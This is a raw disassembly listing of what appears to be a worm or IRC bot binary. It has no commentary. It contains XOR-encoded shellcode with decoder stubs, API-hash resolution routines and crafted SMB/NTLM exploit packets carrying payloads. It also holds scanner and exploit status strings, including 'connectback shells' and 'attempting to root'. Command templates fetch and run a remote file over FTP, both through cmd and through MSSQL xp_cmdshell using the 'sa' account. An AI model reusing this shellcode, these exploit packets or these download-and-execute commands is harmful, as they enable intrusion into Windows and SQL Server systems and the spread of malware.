dd 2 dup(1), 0
aAsn1smb db 'asn1smb',0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D1E5h, 0
dd 2 dup(1), 0
aMsass db 'msass',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D1E5h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aMssql_0 db 'mssql',0
align 4
db 2 dup(0)
byte_43836A db 1 ; DATA XREF: .nsp0:loc_4037E7r
; .nsp0:004037F1o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_438396
; =============== S U B R O U T I N E =======================================
sub_438386 proc near ; CODE XREF: sub_438386:loc_438396p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_43838E: ; CODE XREF: sub_438386+Cj
xor byte ptr [edx+ecx], 99h
loop loc_43838E
jmp short loc_43839B
; ---------------------------------------------------------------------------
loc_438396: ; CODE XREF: .nsp0:00438384j
call sub_438386
loc_43839B: ; CODE XREF: sub_438386+Ej
jo short near ptr dword_438324+12h
cwde
cdq
cdq
retn
sub_438386 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B562+85o
align 4
dword_438518 dd 25370320h, 203A0373h, 2C6425hunk_438524 db 2Dh ; - ; DATA XREF: sub_40B562+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_438544 db 2Dh ; - ; DATA XREF: sub_40B630+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_43858C db 2Dh ; - ; DATA XREF: sub_40B69B+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B6EF+7Eo
dword_4385C8 dd 25370320h, 28200373h, 73253403h, 2C2903hdword_4385D8 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B6EF+14o
dd 7473694Ch, 3Ah
unk_4385F4 db 2Dh ; - ; DATA XREF: .nsp0:0040B923o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_438628 db 2Dh ; - ; DATA XREF: .nsp0:0040B835o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_438658 db 2Dh ; - ; DATA XREF: sub_40B966+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_438678 db 2Dh ; - ; DATA XREF: sub_40B966+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_438694 db 2Dh ; - ; DATA XREF: sub_40B9DD+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_31 db ' Failed to start server, error: <%d>.',0
align 4
unk_4386C8 db 2Dh ; - ; DATA XREF: sub_40B9DD+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_32 db '- Failed to start server, error: <%d>.',0
unk_438700 db 2Dh ; - ; DATA XREF: sub_40B9DD+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_438730 db 2Dh ; - ; DATA XREF: sub_40B9DD+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_33 db 'Failed to start server, error: <%d>.',0
align 4
unk_438764 db 2Dh ; - ; DATA XREF: sub_40B9DD+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_438798 db 2Dh ; - ; DATA XREF: sub_40B9DD+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' Failed to start server, error: <%d>.',0
align 4
unk_4387CC db 2Dh ; - ; DATA XREF: sub_40C034+EBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_4387F4 db 2Dh ; - ; DATA XREF: sub_40C034+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43882C db 2Dh ; - ; DATA XREF: .nsp0:0040C416o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_43886C db 2Dh ; - ; DATA XREF: .nsp0:0040C3BBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_4388A4 db 2Dh ; - ; DATA XREF: .nsp0:0040C34Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4388D8 db 2Dh ; - ; DATA XREF: .nsp0:0040C2CFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
unk_43890C db 2Dh ; - ; DATA XREF: sub_40C4A7+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_438934 db 2Dh ; - ; DATA XREF: sub_40C574+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
unk_43895C db 2Dh ; - ; DATA XREF: sub_40C665+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
unk_438988 db 2Dh ; - ; DATA XREF: sub_40C665+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40C9E6+B2o
align 10h
dword_4389C0 dd 10FF8h, 0 dword_4389C8 dd 10FF8h dword_4389CC dd 7FFDF020h, 0 dword_4389D4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_438A5C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_438A8C dd 0 dd 800000D4h, 0
unk_438A98 db 81h ; ; DATA XREF: sub_40CEEA+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_438AE4 db 41h ; DATA XREF: sub_40CF88+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_438B28 proc near ; DATA XREF: .nsp0:0040D267o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_438C24
push dword ptr [esi]
push 63D61209h
call sub_438C3A
mov [esi+8], eax
call sub_438BED
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_438C3A
mov [esi+0Ch], eax
call sub_438B9F
push dword ptr [esi+4]
push 4C0297FAh
call sub_438C3A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_438B28 endp
; =============== S U B R O U T I N E =======================================
sub_438B9F proc near ; CODE XREF: sub_438B28+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_438BC8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_438B9F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_438BC8 proc near ; CODE XREF: sub_438B9F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_438BD7: ; CODE XREF: sub_438BC8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_438BE4
inc ebx
jmp short loc_438BD7
; ---------------------------------------------------------------------------
loc_438BE4: ; CODE XREF: sub_438BC8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_438BC8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_438BED proc near ; CODE XREF: sub_438B28+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_438C05: ; CODE XREF: sub_438BED+1Ej
cmp [ecx], ebx
jz short loc_438C0D
mov ecx, [ecx]
jmp short loc_438C05
; ---------------------------------------------------------------------------
loc_438C0D: ; CODE XREF: sub_438BED+1Aj
mov edx, edi
loc_438C0F: ; CODE XREF: sub_438BED+2Aj
cmp [edx+4], ebx
jz short loc_438C19
mov edx, [edx+4]
jmp short loc_438C0F
; ---------------------------------------------------------------------------
loc_438C19: ; CODE XREF: sub_438BED+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_438BED endp
; =============== S U B R O U T I N E =======================================
sub_438C24 proc near ; CODE XREF: sub_438B28+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_438C24 endp
; =============== S U B R O U T I N E =======================================
sub_438C3A proc near ; CODE XREF: sub_438B28+16p
; sub_438B28+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_438C50: ; CODE XREF: sub_438C3A+33j
jecxz short loc_438C8A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_438C5D: ; CODE XREF: sub_438C3A+2Dj
lodsb
cmp al, ah
jz short loc_438C69
ror edi, 0Dh
add edi, eax
jmp short loc_438C5D
; ---------------------------------------------------------------------------
loc_438C69: ; CODE XREF: sub_438C3A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_438C50
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_438C8A: ; CODE XREF: sub_438C3A:loc_438C50j
; sub_438C3A:loc_438C8Aj
jmp short loc_438C8A
sub_438C3A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_438C90 proc near ; DATA XREF: .nsp0:0040D215o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_438CE2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_438CAD: ; CODE XREF: sub_438C90+38j
jecxz short loc_438CDD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_438CB8: ; CODE XREF: sub_438C90+32j
lodsb
test al, al
jz short loc_438CC4
ror edx, 0Dh
add edx, eax
jmp short loc_438CB8
; ---------------------------------------------------------------------------
loc_438CC4: ; CODE XREF: sub_438C90+2Bj
cmp edx, [esp+arg_0]
jnz short loc_438CAD
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_438CDD: ; CODE XREF: sub_438C90:loc_438CADj
mov [esp+arg_0], ebx
retn
sub_438C90 endp
; =============== S U B R O U T I N E =======================================
sub_438CE2 proc near ; CODE XREF: sub_438C90+7p
; FUNCTION CHUNK AT 00438D1A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_438CFB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_438D06
; ---------------------------------------------------------------------------
loc_438CFB: ; CODE XREF: sub_438CE2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_438D06: ; CODE XREF: sub_438CE2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_438D1A
sub_438CE2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_438D0D proc near ; CODE XREF: sub_438CE2:loc_438D1Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_438D0D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_438CE2
loc_438D1A: ; CODE XREF: sub_438CE2+29j
call sub_438D0D
loc_438D1F: ; DATA XREF: sub_40C9E6+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_438CE2
; ---------------------------------------------------------------------------
dw 0
dword_438D24 dd 62B0606h, 2050501h, 0A0hdword_438D30 dd 0A1h dword_438D34 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40C9E6+153o
align 10h
loc_438D40: ; DATA XREF: sub_40C9E6+E8o
jmp short near ptr dword_438D48
; ---------------------------------------------------------------------------
align 8
dword_438D48 dd 0 aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .nsp0:0040D23Co
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
unk_438DB0 db 2 ; DATA XREF: .nsp0:0040DA4Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Dh, 73h, 71h
db 6Ch ; l
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAttemptingToRo db ' attempting to root (%s:%d) user: (%s/%s).',0
unk_438DF4 db 2 ; DATA XREF: .nsp0:0040D9D0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileTransferCo db ' File transfer complete to IP: %s',0
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .nsp0:0040D9BBo
align 10h
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: .nsp0:0040D987o
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 10h
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: .nsp0:0040D8EBo
align 4
aSa db 'sa',0 ; DATA XREF: .nsp0:0040D83Eo
align 4
dword_438F18 dd 0E983C933h, 0D9EED9AFh, 5BF42474h; ---------------------------------------------------------------------------
loc_438F24: ; CODE XREF: .nsp0:00438F2Ej
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_438F24
inc edi
jz short loc_438F6B
and eax, 952CE753h
inc esp
jle short loc_438F93
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_438F6B: ; CODE XREF: .nsp0:00438F31j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_438FCA+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_438F90: ; CODE XREF: .nsp0:00438FBDj
xor [esi-25h], bl
loc_438F93: ; CODE XREF: .nsp0:00438F39j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_438FAC: ; CODE XREF: .nsp0:00438FDFj
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_438F90
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_438FCA: ; CODE XREF: .nsp0:00438F71j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_439056
jo short loc_438FAC
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_438FED+1
add bl, [edi]
loc_438FED: ; CODE XREF: .nsp0:00438FE9j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_439002+2
cmp ch, bh
dec edx
loc_439002: ; CODE XREF: .nsp0:00438FFDj
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_439056: ; CODE XREF: .nsp0:00438FDDj
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_4390DC
sub al, 0BCh
jmp near ptr 5445944Ah
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_439078 dd 0EFFFC481h, 44FFFFh, 4390C4hdword_439084 dd 42Ah dword_439088 dd 3E8h dword_43908C dd 258h byte_439090 db 0 ; DATA XREF: .nsp0:0040DDCFr
; .nsp0:0040DEA6r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4390A8 dd 20804h ; .nsp0:0040DEC4o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:00439094o
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_4390DC: ; CODE XREF: .nsp0:00439060j
push eax
xor al, 29h
loc_4390DF: ; DATA XREF: .nsp0:0040DDF7o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 8
dword_4390E8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_4390FC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: .nsp0:0040DC51o
; sub_40E7D2+1A4o
align 4
aSIpc db '\\%s\ipc$',0 ; DATA XREF: .nsp0:0040DC01o
; sub_40E7D2+150o
align 10h
aB db '',0 ; DATA XREF: sub_40E18F+ADo
dw 4400h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0
dd 0
dword_43917C dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40E18F+CEo
dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_4391D8 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40E18F+E8o
dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
dd 0
dword_43928C dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40E18F+102o
dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 8Fh
db 71h ; q
db 58h, 0B9h, 2Fh
db 96h ; –
db 84h, 4, 0CAh
db 65h ; e
db 0EEh, 0FBh, 0DAh
db 0CEh ; Î
db 9Eh, 0AFh, 28h
db 8Eh ; Ž
db 0EEh, 7Ah, 54h
db 69h ; i
db 85h, 28h, 57h
db 0
dd offset byte_52004F
dd offset byte_53004B
dd offset loc_410053+1
dd offset dword_490054
dd offset byte_4E004F
db 31h, 0, 57h
aIndows20002195 db 'indows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
align 4
dword_439384 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+119o
dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_4393C4 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+130o
dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0
dword_439428 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+14Ao
dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_4394C0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40E18F+164o
; sub_40E18F+1DAo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 6B001F00h, 14C658Ch, 0
dd 1000000h, 0
dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h
dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h
dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h
dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh
dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h
dword_43961C dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
